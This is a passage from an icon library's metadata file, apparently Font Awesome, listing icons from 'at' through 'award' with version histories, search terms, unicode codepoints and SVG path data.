        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M517.5 309.2c38.8-40 58.1-80 58.5-116.1.8-65.5-59.4-118.2-169.4-135C277.9 38.4 118.1 73.6 0 140.5 52 114 110.6 92.3 170.7 82.3c74.5-20.5 153-25.4 221.3-14.8C544.5 91.3 588.8 195 490.8 299.2c-10.2 10.8-22 21.1-35 30.6L304.9 103.4 114.7 388.9c-65.6-29.4-76.5-90.2-19.1-151.2 20.8-22.2 48.3-41.9 79.5-58.1 20-12.2 39.7-22.6 62-30.7-65.1 20.3-122.7 52.9-161.6 92.9-27.7 28.6-41.4 57.1-41.7 82.9-.5 35.1 23.4 65.1 68.4 83l-34.5 51.7h101.6l22-34.4c22.2 1 45.3 0 68.6-2.7l-22.8 37.1h135.5L340 406.3c18.6-5.3 36.9-11.5 54.5-18.7l45.9 71.8H542L468.6 349c18.5-12.1 35-25.5 48.9-39.8zm-187.6 80.5l-25-40.6-32.7 53.3c-23.4 3.5-46.7 5.1-69.2 4.4l101.9-159.3 78.7 123c-17.2 7.4-35.3 13.9-53.7 19.2z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M517.5 309.2c38.8-40 58.1-80 58.5-116.1.8-65.5-59.4-118.2-169.4-135C277.9 38.4 118.1 73.6 0 140.5 52 114 110.6 92.3 170.7 82.3c74.5-20.5 153-25.4 221.3-14.8C544.5 91.3 588.8 195 490.8 299.2c-10.2 10.8-22 21.1-35 30.6L304.9 103.4 114.7 388.9c-65.6-29.4-76.5-90.2-19.1-151.2 20.8-22.2 48.3-41.9 79.5-58.1 20-12.2 39.7-22.6 62-30.7-65.1 20.3-122.7 52.9-161.6 92.9-27.7 28.6-41.4 57.1-41.7 82.9-.5 35.1 23.4 65.1 68.4 83l-34.5 51.7h101.6l22-34.4c22.2 1 45.3 0 68.6-2.7l-22.8 37.1h135.5L340 406.3c18.6-5.3 36.9-11.5 54.5-18.7l45.9 71.8H542L468.6 349c18.5-12.1 35-25.5 48.9-39.8zm-187.6 80.5l-25-40.6-32.7 53.3c-23.4 3.5-46.7 5.1-69.2 4.4l101.9-159.3 78.7 123c-17.2 7.4-35.3 13.9-53.7 19.2z"
      }
    },
    "free": ["brands"]
  },
  "at": {
    "aliases": {
      "unicodes": {
        "composite": ["f1fa"],
        "primary": ["f1fa"],
        "secondary": ["10f1fa"]
      }
    },
    "changes": ["4.2.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "Commercial At",
        "address",
        "author",
        "e-mail",
        "email",
        "fluctuate",
        "handle"
      ]
    },
    "styles": ["solid"],
    "unicode": "40",
    "label": "At",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767248,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 64C150 64 64 150 64 256s86 192 192 192c17.7 0 32 14.3 32 32s-14.3 32-32 32C114.6 512 0 397.4 0 256S114.6 0 256 0S512 114.6 512 256v32c0 53-43 96-96 96c-29.3 0-55.6-13.2-73.2-33.9C320 371.1 289.5 384 256 384c-70.7 0-128-57.3-128-128s57.3-128 128-128c27.9 0 53.7 8.9 74.7 24.1c5.7-5 13.1-8.1 21.3-8.1c17.7 0 32 14.3 32 32v80 32c0 17.7 14.3 32 32 32s32-14.3 32-32V256c0-106-86-192-192-192zm64 192a64 64 0 1 0 -128 0 64 64 0 1 0 128 0z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M256 64C150 64 64 150 64 256s86 192 192 192c17.7 0 32 14.3 32 32s-14.3 32-32 32C114.6 512 0 397.4 0 256S114.6 0 256 0S512 114.6 512 256v32c0 53-43 96-96 96c-29.3 0-55.6-13.2-73.2-33.9C320 371.1 289.5 384 256 384c-70.7 0-128-57.3-128-128s57.3-128 128-128c27.9 0 53.7 8.9 74.7 24.1c5.7-5 13.1-8.1 21.3-8.1c17.7 0 32 14.3 32 32v80 32c0 17.7 14.3 32 32 32s32-14.3 32-32V256c0-106-86-192-192-192zm64 192a64 64 0 1 0 -128 0 64 64 0 1 0 128 0z"
      }
    },
    "free": ["solid"]
  },
  "atlassian": {
    "changes": ["5.6.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f77b",
    "label": "Atlassian",
    "voted": true,
    "svg": {
      "brands": {
        "last_modified": 1660014479,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M152.2 236.4c-7.7-8.2-19.7-7.7-24.8 2.8L1.6 490.2c-5 10 2.4 21.7 13.4 21.7h175c5.8.1 11-3.2 13.4-8.4 37.9-77.8 15.1-196.3-51.2-267.1zM244.4 8.1c-122.3 193.4-8.5 348.6 65 495.5 2.5 5.1 7.7 8.4 13.4 8.4H497c11.2 0 18.4-11.8 13.4-21.7 0 0-234.5-470.6-240.4-482.3-5.3-10.6-18.8-10.8-25.6.1z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M152.2 236.4c-7.7-8.2-19.7-7.7-24.8 2.8L1.6 490.2c-5 10 2.4 21.7 13.4 21.7h175c5.8.1 11-3.2 13.4-8.4 37.9-77.8 15.1-196.3-51.2-267.1zM244.4 8.1c-122.3 193.4-8.5 348.6 65 495.5 2.5 5.1 7.7 8.4 13.4 8.4H497c11.2 0 18.4-11.8 13.4-21.7 0 0-234.5-470.6-240.4-482.3-5.3-10.6-18.8-10.8-25.6.1z"
      }
    },
    "free": ["brands"]
  },
  "atom": {
    "aliases": {
      "unicodes": {
        "composite": ["269b"],
        "secondary": ["10f5d2"]
      }
    },
    "changes": ["5.2.0", "5.12.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "atheism",
        "atheist",
        "atom",
        "atom symbol",
        "chemistry",
        "electron",
        "ion",
        "isotope",
        "neutron",
        "nuclear",
        "proton",
        "science"
      ]
    },
    "styles": ["solid"],
    "unicode": "f5d2",
    "label": "Atom",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766751,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 398.8c-11.8 5.1-23.4 9.7-34.9 13.5c16.7 33.8 31 35.7 34.9 35.7s18.1-1.9 34.9-35.7c-11.4-3.9-23.1-8.4-34.9-13.5zM446 256c33 45.2 44.3 90.9 23.6 128c-20.2 36.3-62.5 49.3-115.2 43.2c-22 52.1-55.6 84.8-98.4 84.8s-76.4-32.7-98.4-84.8c-52.7 6.1-95-6.8-115.2-43.2C21.7 346.9 33 301.2 66 256c-33-45.2-44.3-90.9-23.6-128c20.2-36.3 62.5-49.3 115.2-43.2C179.6 32.7 213.2 0 256 0s76.4 32.7 98.4 84.8c52.7-6.1 95 6.8 115.2 43.2c20.7 37.1 9.4 82.8-23.6 128zm-65.8 67.4c-1.7 14.2-3.9 28-6.7 41.2c31.8 1.4 38.6-8.7 40.2-11.7c2.3-4.2 7-17.9-11.9-48.1c-6.8 6.3-14 12.5-21.6 18.6zm-6.7-175.9c2.8 13.1 5 26.9 6.7 41.2c7.6 6.1 14.8 12.3 21.6 18.6c18.9-30.2 14.2-44 11.9-48.1c-1.6-2.9-8.4-13-40.2-11.7zM290.9 99.7C274.1 65.9 259.9 64 256 64s-18.1 1.9-34.9 35.7c11.4 3.9 23.1 8.4 34.9 13.5c11.8-5.1 23.4-9.7 34.9-13.5zm-159 88.9c1.7-14.3 3.9-28 6.7-41.2c-31.8-1.4-38.6 8.7-40.2 11.7c-2.3 4.2-7 17.9 11.9 48.1c6.8-6.3 14-12.5 21.6-18.6zM110.2 304.8C91.4 335 96 348.7 98.3 352.9c1.6 2.9 8.4 13 40.2 11.7c-2.8-13.1-5-26.9-6.7-41.2c-7.6-6.1-14.8-12.3-21.6-18.6zM336 256a80 80 0 1 0 -160 0 80 80 0 1 0 160 0zm-80-32a32 32 0 1 1 0 64 32 32 0 1 1 0-64z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M256 398.8c-11.8 5.1-23.4 9.7-34.9 13.5c16.7 33.8 31 35.7 34.9 35.7s18.1-1.9 34.9-35.7c-11.4-3.9-23.1-8.4-34.9-13.5zM446 256c33 45.2 44.3 90.9 23.6 128c-20.2 36.3-62.5 49.3-115.2 43.2c-22 52.1-55.6 84.8-98.4 84.8s-76.4-32.7-98.4-84.8c-52.7 6.1-95-6.8-115.2-43.2C21.7 346.9 33 301.2 66 256c-33-45.2-44.3-90.9-23.6-128c20.2-36.3 62.5-49.3 115.2-43.2C179.6 32.7 213.2 0 256 0s76.4 32.7 98.4 84.8c52.7-6.1 95 6.8 115.2 43.2c20.7 37.1 9.4 82.8-23.6 128zm-65.8 67.4c-1.7 14.2-3.9 28-6.7 41.2c31.8 1.4 38.6-8.7 40.2-11.7c2.3-4.2 7-17.9-11.9-48.1c-6.8 6.3-14 12.5-21.6 18.6zm-6.7-175.9c2.8 13.1 5 26.9 6.7 41.2c7.6 6.1 14.8 12.3 21.6 18.6c18.9-30.2 14.2-44 11.9-48.1c-1.6-2.9-8.4-13-40.2-11.7zM290.9 99.7C274.1 65.9 259.9 64 256 64s-18.1 1.9-34.9 35.7c11.4 3.9 23.1 8.4 34.9 13.5c11.8-5.1 23.4-9.7 34.9-13.5zm-159 88.9c1.7-14.3 3.9-28 6.7-41.2c-31.8-1.4-38.6 8.7-40.2 11.7c-2.3 4.2-7 17.9 11.9 48.1c6.8-6.3 14-12.5 21.6-18.6zM110.2 304.8C91.4 335 96 348.7 98.3 352.9c1.6 2.9 8.4 13 40.2 11.7c-2.8-13.1-5-26.9-6.7-41.2c-7.6-6.1-14.8-12.3-21.6-18.6zM336 256a80 80 0 1 0 -160 0 80 80 0 1 0 160 0zm-80-32a32 32 0 1 1 0 64 32 32 0 1 1 0-64z"
      }
    },
    "free": ["solid"]
  },
  "audible": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f373",
    "label": "Audible",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014468,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M640 199.9v54l-320 200L0 254v-54l320 200 320-200.1zm-194.5 72l47.1-29.4c-37.2-55.8-100.7-92.6-172.7-92.6-72 0-135.5 36.7-172.6 92.4h.3c2.5-2.3 5.1-4.5 7.7-6.7 89.7-74.4 219.4-58.1 290.2 36.3zm-220.1 18.8c16.9-11.9 36.5-18.7 57.4-18.7 34.4 0 65.2 18.4 86.4 47.6l45.4-28.4c-20.9-29.9-55.6-49.5-94.8-49.5-38.9 0-73.4 19.4-94.4 49zM103.6 161.1c131.8-104.3 318.2-76.4 417.5 62.1l.7 1 48.8-30.4C517.1 112.1 424.8 58.1 319.9 58.1c-103.5 0-196.6 53.5-250.5 135.6 9.9-10.5 22.7-23.5 34.2-32.6zm467 32.7z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M640 199.9v54l-320 200L0 254v-54l320 200 320-200.1zm-194.5 72l47.1-29.4c-37.2-55.8-100.7-92.6-172.7-92.6-72 0-135.5 36.7-172.6 92.4h.3c2.5-2.3 5.1-4.5 7.7-6.7 89.7-74.4 219.4-58.1 290.2 36.3zm-220.1 18.8c16.9-11.9 36.5-18.7 57.4-18.7 34.4 0 65.2 18.4 86.4 47.6l45.4-28.4c-20.9-29.9-55.6-49.5-94.8-49.5-38.9 0-73.4 19.4-94.4 49zM103.6 161.1c131.8-104.3 318.2-76.4 417.5 62.1l.7 1 48.8-30.4C517.1 112.1 424.8 58.1 319.9 58.1c-103.5 0-196.6 53.5-250.5 135.6 9.9-10.5 22.7-23.5 34.2-32.6zm467 32.7z"
      }
    },
    "free": ["brands"]
  },
  "audio-description": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f29e"]
      }
    },
    "changes": [
      "4.6.0",
      "5.0.0",
      "5.10.2",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["blind", "narration", "video", "visual"]
    },
    "styles": ["solid"],
    "unicode": "f29e",
    "label": "Audio Description",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766676,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M64 32C28.7 32 0 60.7 0 96V416c0 35.3 28.7 64 64 64H512c35.3 0 64-28.7 64-64V96c0-35.3-28.7-64-64-64H64zM213.5 173.3l72 144c5.9 11.9 1.1 26.3-10.7 32.2s-26.3 1.1-32.2-10.7l-9.4-18.9H150.9l-9.4 18.9c-5.9 11.9-20.3 16.7-32.2 10.7s-16.7-20.3-10.7-32.2l72-144c4.1-8.1 12.4-13.3 21.5-13.3s17.4 5.1 21.5 13.3zm-.4 106.6L192 237.7l-21.1 42.2h42.2zM304 184c0-13.3 10.7-24 24-24h56c53 0 96 43 96 96s-43 96-96 96H328c-13.3 0-24-10.7-24-24V184zm48 24v96h32c26.5 0 48-21.5 48-48s-21.5-48-48-48H352z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M64 32C28.7 32 0 60.7 0 96V416c0 35.3 28.7 64 64 64H512c35.3 0 64-28.7 64-64V96c0-35.3-28.7-64-64-64H64zM213.5 173.3l72 144c5.9 11.9 1.1 26.3-10.7 32.2s-26.3 1.1-32.2-10.7l-9.4-18.9H150.9l-9.4 18.9c-5.9 11.9-20.3 16.7-32.2 10.7s-16.7-20.3-10.7-32.2l72-144c4.1-8.1 12.4-13.3 21.5-13.3s17.4 5.1 21.5 13.3zm-.4 106.6L192 237.7l-21.1 42.2h42.2zM304 184c0-13.3 10.7-24 24-24h56c53 0 96 43 96 96s-43 96-96 96H328c-13.3 0-24-10.7-24-24V184zm48 24v96h32c26.5 0 48-21.5 48-48s-21.5-48-48-48H352z"
      }
    },
    "free": ["solid"]
  },
  "austral-sign": {
    "changes": ["6.0.0-beta1", "6.0.0-beta3", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["Austral Sign", "currency"]
    },
    "styles": ["solid"],
    "unicode": "e0a9",
    "label": "Austral Sign",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766476,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M253.5 51.7C248.6 39.8 236.9 32 224 32s-24.6 7.8-29.5 19.7L122.7 224H32c-17.7 0-32 14.3-32 32s14.3 32 32 32H96L82.7 320H32c-17.7 0-32 14.3-32 32s14.3 32 32 32H56L34.5 435.7c-6.8 16.3 .9 35 17.2 41.8s35-.9 41.8-17.2L125.3 384H322.7l31.8 76.3c6.8 16.3 25.5 24 41.8 17.2s24-25.5 17.2-41.8L392 384h24c17.7 0 32-14.3 32-32s-14.3-32-32-32H365.3L352 288h64c17.7 0 32-14.3 32-32s-14.3-32-32-32H325.3L253.5 51.7zM256 224H192l32-76.8L256 224zm-90.7 64H282.7L296 320H152l13.3-32z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M253.5 51.7C248.6 39.8 236.9 32 224 32s-24.6 7.8-29.5 19.7L122.7 224H32c-17.7 0-32 14.3-32 32s14.3 32 32 32H96L82.7 320H32c-17.7 0-32 14.3-32 32s14.3 32 32 32H56L34.5 435.7c-6.8 16.3 .9 35 17.2 41.8s35-.9 41.8-17.2L125.3 384H322.7l31.8 76.3c6.8 16.3 25.5 24 41.8 17.2s24-25.5 17.2-41.8L392 384h24c17.7 0 32-14.3 32-32s-14.3-32-32-32H365.3L352 288h64c17.7 0 32-14.3 32-32s-14.3-32-32-32H325.3L253.5 51.7zM256 224H192l32-76.8L256 224zm-90.7 64H282.7L296 320H152l13.3-32z"
      }
    },
    "free": ["solid"]
  },
  "autoprefixer": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f41c",
    "label": "Autoprefixer",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014465,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M318.4 16l-161 480h77.5l25.4-81.4h119.5L405 496h77.5L318.4 16zm-40.3 341.9l41.2-130.4h1.5l40.9 130.4h-83.6zM640 405l-10-31.4L462.1 358l19.4 56.5L640 405zm-462.1-47L10 373.7 0 405l158.5 9.4 19.4-56.4z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M318.4 16l-161 480h77.5l25.4-81.4h119.5L405 496h77.5L318.4 16zm-40.3 341.9l41.2-130.4h1.5l40.9 130.4h-83.6zM640 405l-10-31.4L462.1 358l19.4 56.5L640 405zm-462.1-47L10 373.7 0 405l158.5 9.4 19.4-56.4z"
      }
    },
    "free": ["brands"]
  },
  "avianex": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f374",
    "label": "avianex",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014470,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M453.1 32h-312c-38.9 0-76.2 31.2-83.3 69.7L1.2 410.3C-5.9 448.8 19.9 480 58.9 480h312c38.9 0 76.2-31.2 83.3-69.7l56.7-308.5c7-38.6-18.8-69.8-57.8-69.8zm-58.2 347.3l-32 13.5-115.4-110c-14.7 10-29.2 19.5-41.7 27.1l22.1 64.2-17.9 12.7-40.6-61-52.4-48.1 15.7-15.4 58 31.1c9.3-10.5 20.8-22.6 32.8-34.9L203 228.9l-68.8-99.8 18.8-28.9 8.9-4.8L265 207.8l4.9 4.5c19.4-18.8 33.8-32.4 33.8-32.4 7.7-6.5 21.5-2.9 30.7 7.9 9 10.5 10.6 24.7 2.7 31.3-1.8 1.3-15.5 11.4-35.3 25.6l4.5 7.3 94.9 119.4-6.3 7.9z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M453.1 32h-312c-38.9 0-76.2 31.2-83.3 69.7L1.2 410.3C-5.9 448.8 19.9 480 58.9 480h312c38.9 0 76.2-31.2 83.3-69.7l56.7-308.5c7-38.6-18.8-69.8-57.8-69.8zm-58.2 347.3l-32 13.5-115.4-110c-14.7 10-29.2 19.5-41.7 27.1l22.1 64.2-17.9 12.7-40.6-61-52.4-48.1 15.7-15.4 58 31.1c9.3-10.5 20.8-22.6 32.8-34.9L203 228.9l-68.8-99.8 18.8-28.9 8.9-4.8L265 207.8l4.9 4.5c19.4-18.8 33.8-32.4 33.8-32.4 7.7-6.5 21.5-2.9 30.7 7.9 9 10.5 10.6 24.7 2.7 31.3-1.8 1.3-15.5 11.4-35.3 25.6l4.5 7.3 94.9 119.4-6.3 7.9z"
      }
    },
    "free": ["brands"]
  },
  "aviato": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f421",
    "label": "Aviato",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014468,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M107.2 283.5l-19-41.8H36.1l-19 41.8H0l62.2-131.4 62.2 131.4h-17.2zm-45-98.1l-19.6 42.5h39.2l-19.6-42.5zm112.7 102.4l-62.2-131.4h17.1l45.1 96 45.1-96h17l-62.1 131.4zm80.6-4.3V156.4H271v127.1h-15.5zm209.1-115.6v115.6h-17.3V167.9h-41.2v-11.5h99.6v11.5h-41.1zM640 218.8c0 9.2-1.7 17.8-5.1 25.8-3.4 8-8.2 15.1-14.2 21.1-6 6-13.1 10.8-21.1 14.2-8 3.4-16.6 5.1-25.8 5.1s-17.8-1.7-25.8-5.1c-8-3.4-15.1-8.2-21.1-14.2-6-6-10.8-13-14.2-21.1-3.4-8-5.1-16.6-5.1-25.8s1.7-17.8 5.1-25.8c3.4-8 8.2-15.1 14.2-21.1 6-6 13-8.4 21.1-11.9 8-3.4 16.6-5.1 25.8-5.1s17.8 1.7 25.8 5.1c8 3.4 15.1 5.8 21.1 11.9 6 6 10.7 13.1 14.2 21.1 3.4 8 5.1 16.6 5.1 25.8zm-15.5 0c0-7.3-1.3-14-3.9-20.3-2.6-6.3-6.2-11.7-10.8-16.3-4.6-4.6-10-8.2-16.2-10.9-6.2-2.7-12.8-4-19.8-4s-13.6 1.3-19.8 4c-6.2 2.7-11.6 6.3-16.2 10.9-4.6 4.6-8.2 10-10.8 16.3-2.6 6.3-3.9 13.1-3.9 20.3 0 7.3 1.3 14 3.9 20.3 2.6 6.3 6.2 11.7 10.8 16.3 4.6 4.6 10 8.2 16.2 10.9 6.2 2.7 12.8 4 19.8 4s13.6-1.3 19.8-4c6.2-2.7 11.6-6.3 16.2-10.9 4.6-4.6 8.2-10 10.8-16.3 2.6-6.3 3.9-13.1 3.9-20.3zm-94.8 96.7v-6.3l88.9-10-242.9 13.4c.6-2.2 1.1-4.6 1.4-7.2.3-2 .5-4.2.6-6.5l64.8-8.1-64.9 1.9c0-.4-.1-.7-.1-1.1-2.8-17.2-25.5-23.7-25.5-23.7l-1.1-26.3h23.8l19 41.8h17.1L348.6 152l-62.2 131.4h17.1l19-41.8h23.6L345 268s-22.7 6.5-25.5 23.7c-.1.3-.1.7-.1 1.1l-64.9-1.9 64.8 8.1c.1 2.3.3 4.4.6 6.5.3 2.6.8 5 1.4 7.2L78.4 299.2l88.9 10v6.3c-5.9.9-10.5 6-10.5 12.2 0 6.8 5.6 12.4 12.4 12.4 6.8 0 12.4-5.6 12.4-12.4 0-6.2-4.6-11.3-10.5-12.2v-5.8l80.3 9v5.4c-5.7 1.1-9.9 6.2-9.9 12.1 0 6.8 5.6 10.2 12.4 10.2 6.8 0 12.4-3.4 12.4-10.2 0-6-4.3-11-9.9-12.1v-4.9l28.4 3.2v23.7h-5.9V360h5.9v-6.6h5v6.6h5.9v-13.8h-5.9V323l38.3 4.3c8.1 11.4 19 13.6 19 13.6l-.1 6.7-5.1.2-.1 12.1h4.1l.1-5h5.2l.1 5h4.1l-.1-12.1-5.1-.2-.1-6.7s10.9-2.1 19-13.6l38.3-4.3v23.2h-5.9V360h5.9v-6.6h5v6.6h5.9v-13.8h-5.9v-23.7l28.4-3.2v4.9c-5.7 1.1-9.9 6.2-9.9 12.1 0 6.8 5.6 10.2 12.4 10.2 6.8 0 12.4-3.4 12.4-10.2 0-6-4.3-11-9.9-12.1v-5.4l80.3-9v5.8c-5.9.9-10.5 6-10.5 12.2 0 6.8 5.6 12.4 12.4 12.4 6.8 0 12.4-5.6 12.4-12.4-.2-6.3-4.7-11.4-10.7-12.3zm-200.8-87.6l19.6-42.5 19.6 42.5h-17.9l-1.7-40.3-1.7 40.3h-17.9z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M107.2 283.5l-19-41.8H36.1l-19 41.8H0l62.2-131.4 62.2 131.4h-17.2zm-45-98.1l-19.6 42.5h39.2l-19.6-42.5zm112.7 102.4l-62.2-131.4h17.1l45.1 96 45.1-96h17l-62.1 131.4zm80.6-4.3V156.4H271v127.1h-15.5zm209.1-115.6v115.6h-17.3V167.9h-41.2v-11.5h99.6v11.5h-41.1zM640 218.8c0 9.2-1.7 17.8-5.1 25.8-3.4 8-8.2 15.1-14.2 21.1-6 6-13.1 10.8-21.1 14.2-8 3.4-16.6 5.1-25.8 5.1s-17.8-1.7-25.8-5.1c-8-3.4-15.1-8.2-21.1-14.2-6-6-10.8-13-14.2-21.1-3.4-8-5.1-16.6-5.1-25.8s1.7-17.8 5.1-25.8c3.4-8 8.2-15.1 14.2-21.1 6-6 13-8.4 21.1-11.9 8-3.4 16.6-5.1 25.8-5.1s17.8 1.7 25.8 5.1c8 3.4 15.1 5.8 21.1 11.9 6 6 10.7 13.1 14.2 21.1 3.4 8 5.1 16.6 5.1 25.8zm-15.5 0c0-7.3-1.3-14-3.9-20.3-2.6-6.3-6.2-11.7-10.8-16.3-4.6-4.6-10-8.2-16.2-10.9-6.2-2.7-12.8-4-19.8-4s-13.6 1.3-19.8 4c-6.2 2.7-11.6 6.3-16.2 10.9-4.6 4.6-8.2 10-10.8 16.3-2.6 6.3-3.9 13.1-3.9 20.3 0 7.3 1.3 14 3.9 20.3 2.6 6.3 6.2 11.7 10.8 16.3 4.6 4.6 10 8.2 16.2 10.9 6.2 2.7 12.8 4 19.8 4s13.6-1.3 19.8-4c6.2-2.7 11.6-6.3 16.2-10.9 4.6-4.6 8.2-10 10.8-16.3 2.6-6.3 3.9-13.1 3.9-20.3zm-94.8 96.7v-6.3l88.9-10-242.9 13.4c.6-2.2 1.1-4.6 1.4-7.2.3-2 .5-4.2.6-6.5l64.8-8.1-64.9 1.9c0-.4-.1-.7-.1-1.1-2.8-17.2-25.5-23.7-25.5-23.7l-1.1-26.3h23.8l19 41.8h17.1L348.6 152l-62.2 131.4h17.1l19-41.8h23.6L345 268s-22.7 6.5-25.5 23.7c-.1.3-.1.7-.1 1.1l-64.9-1.9 64.8 8.1c.1 2.3.3 4.4.6 6.5.3 2.6.8 5 1.4 7.2L78.4 299.2l88.9 10v6.3c-5.9.9-10.5 6-10.5 12.2 0 6.8 5.6 12.4 12.4 12.4 6.8 0 12.4-5.6 12.4-12.4 0-6.2-4.6-11.3-10.5-12.2v-5.8l80.3 9v5.4c-5.7 1.1-9.9 6.2-9.9 12.1 0 6.8 5.6 10.2 12.4 10.2 6.8 0 12.4-3.4 12.4-10.2 0-6-4.3-11-9.9-12.1v-4.9l28.4 3.2v23.7h-5.9V360h5.9v-6.6h5v6.6h5.9v-13.8h-5.9V323l38.3 4.3c8.1 11.4 19 13.6 19 13.6l-.1 6.7-5.1.2-.1 12.1h4.1l.1-5h5.2l.1 5h4.1l-.1-12.1-5.1-.2-.1-6.7s10.9-2.1 19-13.6l38.3-4.3v23.2h-5.9V360h5.9v-6.6h5v6.6h5.9v-13.8h-5.9v-23.7l28.4-3.2v4.9c-5.7 1.1-9.9 6.2-9.9 12.1 0 6.8 5.6 10.2 12.4 10.2 6.8 0 12.4-3.4 12.4-10.2 0-6-4.3-11-9.9-12.1v-5.4l80.3-9v5.8c-5.9.9-10.5 6-10.5 12.2 0 6.8 5.6 12.4 12.4 12.4 6.8 0 12.4-5.6 12.4-12.4-.2-6.3-4.7-11.4-10.7-12.3zm-200.8-87.6l19.6-42.5 19.6 42.5h-17.9l-1.7-40.3-1.7 40.3h-17.9z"
      }
    },
    "free": ["brands"]
  },
  "award": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f559"]
      }
    },
    "changes": [
      "5.1.0",
      "5.2.0",
      "5.10.2",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["honor", "praise", "prize", "recognition", "ribbon", "trophy"]
    },
    "styles": ["solid"],
    "unicode": "f559",
    "label": "Award",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684767601,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M173.8 5.5c11-7.3 25.4-7.3 36.4 0L228 17.2c6 3.9 13 5.8 20.1 5.4l21.3-1.3c13.2-.8 25.6 6.4 31.5 18.2l9.6 19.1c3.2 6.4 8.4 11.5 14.7 14.7L344.5 83c11.8 5.9 19 18.3 18.2 31.5l-1.3 21.3c-.4 7.1 1.5 14.2 5.4 20.1l11.8 17.8c7.3 11 7.3 25.4 0 36.4L366.8 228c-3.9 6-5.8 13-5.4 20.1l1.3 21.3c.8 13.2-6.4 25.6-18.2 31.5l-19.1 9.6c-6.4 3.2-11.5 8.4-14.7 14.7L301 344.5c-5.9 11.8-18.3 19-31.5 18.2l-21.3-1.3c-7.1-.4-14.2 1.5-20.1 5.4l-17.8 11.8c-11 7.3-25.4 7.3-36.4 0L156 366.8c-6-3.9-13-5.8-20.1-5.4l-21.3 1.3c-13.2 .8-25.6-6.4-31.5-18.2l-9.6-19.1c-3.2-6.4-8.4-11.5-14.7-14.7L39.5 301c-11.8-5.9-19-18.3-18.2-31.5l1.3-21.3c.4-7.1-1.5-14.2-5.4-20.1L5.5 210.2c-7.3-11-7.3-25.4 0-36.4L17.2 156c3.9-6 5.8-13 5.4-20.1l-1.3-21.3c-.8-13.2 6.4-25.6 18.2-31.5l19.1-9.6C65 70.2 70.2 65 73.4 58.6L83 39.5c5.9-11.8 18.3-19 31.5-18.2l21.3 1.3c7.1 .4 14.2-1.5 20.1-5.4L173.8 5.5zM272 192a80 80 0 1 0 -160 0 80 80 0 1 0 160 0zM1.3 441.8L44.4 339.3c.2 .1 .3 .2 .4 .4l9.6 19.1c11.7 23.2 36 37.3 62 35.8l21.3-1.3c.2 0 .5 0 .7 .2l17.8 11.8c5.1 3.3 10.5 5.9 16.1 7.7l-37.6 89.3c-2.3 5.5-7.4 9.2-13.3 9.7s-11.6-2.2-14.8-7.2L74.4 455.5l-56.1 8.3c-5.7 .8-11.4-1.5-15-6s-4.3-10.7-2.1-16zm248 60.4L211.7 413c5.6-1.8 11-4.3 16.1-7.7l17.8-11.8c.2-.1 .4-.2 